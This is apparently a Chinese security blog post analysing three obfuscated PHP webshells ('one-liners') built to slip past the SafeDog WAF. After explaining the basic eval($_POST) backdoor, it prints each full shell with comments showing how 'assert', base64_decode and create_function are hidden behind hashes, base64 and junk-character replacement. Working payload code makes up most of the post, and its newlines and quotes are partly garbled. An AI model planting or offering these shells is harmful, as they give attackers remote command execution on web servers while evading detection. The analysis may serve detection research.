標籤:

三個混淆過狗一句話分析

1.一句話的工作原理

首先我們看一下就常見的一句話。

<?php @eval($_POST[『pass』])?>n

單從php語法上理解,首先$_POST會獲取post到伺服器的參數名為pass的數據,然後eval會將$_POST獲取的字元串按照php語法進行解析,這樣我們通過各種php函數的組合使用就能通過中國菜刀等工具對伺服器的文件進行操作,這也就是常見一句話的工作原理。

文章深入淺出玩轉php一句話(含過waf新姿勢)_網站安全_i春秋社區-分享你的技術,為安全加點溫度對一句話的工作原理進行了深入分析,今天我們的重點不是一句話的原理,所以不做重點介紹。

2.過狗一句話

下面我將分析三個在學習工作中遇到的混淆過狗馬,其思路大致相同。

<?phpn $csawa=substr(hash("md5","woshiA", false),-5,1);nt//分解步驟nt//$csawa=substr(『219be7b7544871c82a8a769169aavb58』,-5,1); //hash函數執行完畢後nt//$csawa=』a』; //substr函數執行完畢後,得到字元串ant//hash函數對字元串woshiA進行md5加密,然後subsrt函數獲取加密後字元串,從倒數第五個字元開始,獲取一個得到a。n $sgdas=substr(base64_decode("d29zaGlzYQ=="),-2,1);nt//分解步驟nt//$sgdas=substr(『woshisa』,-2,1); //base64_decode函數執行完畢後nt//$sgdas=『s』; //substr函數執行完畢後,得到字元串snt//base64_decode對字元串d29zaGlzYQ==進行base64的解密,得到解密後的字元串以後,從倒數第二個字元開始獲取一個字元,得到sn $sasds=substr(base64_decode("d29zaGlzYTI="),-3,1);n //分解步驟n //$sasds=substr(woshisa2,-3,1); //base64_decode函數執行完畢後n //$sasds=s; //substr函數執行完畢後,得到字元串snt//base64_decode對字元串d29zaGlzYTI=進行base64的解密,得到解密後的字元串以後,從倒數第二個字元開始獲取一個字元,得到sn $saswe=substr(hash("md5","woshie", false),-3,1);n //分解步驟n //$saswe=substr(ab4660f0d04e6a1b1891ed85cc038e08,-3,1) //hash函數執行完畢後n //$saswe=e //substr函數執行完畢後,得到字元串en //hash函數對字元串woshie進行md5加密,然後subsrt函數獲取加密後字元串,從倒數第三個字元開始,獲取一個得到e。n $udkar=substr(base64_decode("d29zaGly"),-1,1);n //分解步驟nt//$udkar=substr(『woshir』,-1,1); //base64_decode函數執行完畢後nt//$udkar=『r』; //substr函數執行完畢後,得到字元串rnt//base64_decode對字元串d29zaGly進行base64的解密,得到解密後的字元串以後,從倒數第一個字元開始獲取一個字元,得到rn $aefft=substr(base64_decode("d29zaGl0YWFz"),-4,1);n //分解步驟nt//$aefft=substr(『woshitaas』,-4,1); //base64_decode函數執行完畢後nt//$aefft=『t』; //substr函數執行完畢後,得到字元串tnt//base64_decode對字元串d29zaGl0YWFz進行base64的解密,得到解密後的字元串以後,從倒數第四個字元開始獲取一個字元,得到tn $ckt=$csawa.$sgdas.$sasds.$saswe.$udkar.$aefft;n //分解步驟n //$ckt=a.s.s.e.r.tn //$ckt=assert;n //通過拼接字元串得到函數assertn $ckt($_POST[cmd]);n //分解步驟n //assert($_POST[cmd]);n?>n

過狗馬2:通過在函數中混入隨機字元躲避關鍵字掃描

<?phpn$mt="mFsKCleRfU";n$ojj="IEBleldle";n$hsa="E9TVFsnd2VuJ10p";n$fnx="Ow==";n$zk = str_replace("d","","sdtdrd_redpdldadcde");n//字元串替換:替換sdtdrd_redpdldadcde里的d為空 得到函數str_replacen$ef = $zk("z", "", "zbazsze64_zdzeczodze");n//調用$zk 字元串替換:替換zbazsze64_zdzeczodze里的z為空 得到base64_decoden$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");n//調用$zk 字元串替換:替換pcprpepaptpe_fpupnpcptpipopn里的z為空 得到create_function創建匿名函數n$zvm = $dva(, $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));n//分解步驟n//$zvm=create_function(base64_decode(str_replace("le","","IEBleldlemFsKCleRfUE9TVFsnd2VuJ10pOw=="))) //拼接後的語句n//$zvm=create_function(base64_decode(IEBldmFsKCRfUE9TVFsnd2VuJ10pOw==))) //執行完str_sreplace函數後,返回base64加密後的字元串n//$zvm=create_function(@eval($_POST[wen])); //執行完base64_decode 得到解密後的字元串 得到一句話木馬 密碼是wenn$zvm(); //執行n?>n

過狗馬3:類似於第二個,不做過多分析

<?phpn$uf="snd2Fqd";n$ka="IEBldmFsK";n$pjt="CRfUE9TVF";n$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); //空格替換ti str_replacen$iqw="WVqaSddKTs=";n$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); //空格替換k base64_decode (base64加密)n$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); //空格替換ctw create_functionn$mpy = $sbp(, $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw)));n//$mpy =create_function(, base64_decode(str_replace("b", "",IEBldmFsKCRfUE9TVFsnd2FqdWVqaSddKTs=)))n//$mpy= @eval($_POST[wajueji]);n$mpy();n?>n

以上三個馬在發現時均能躲過xx狗,現在行不行請自行測試。


推薦閱讀:

用兩分鐘告訴你 我是如何用搞定隔壁老王的 WiFi 密碼
2017 軟體與移動智能系統安全暑期學校詳細課程介紹
談談對 Web 安全的理解
其實你根本不知道你錯在哪裡

TAG:网络安全 |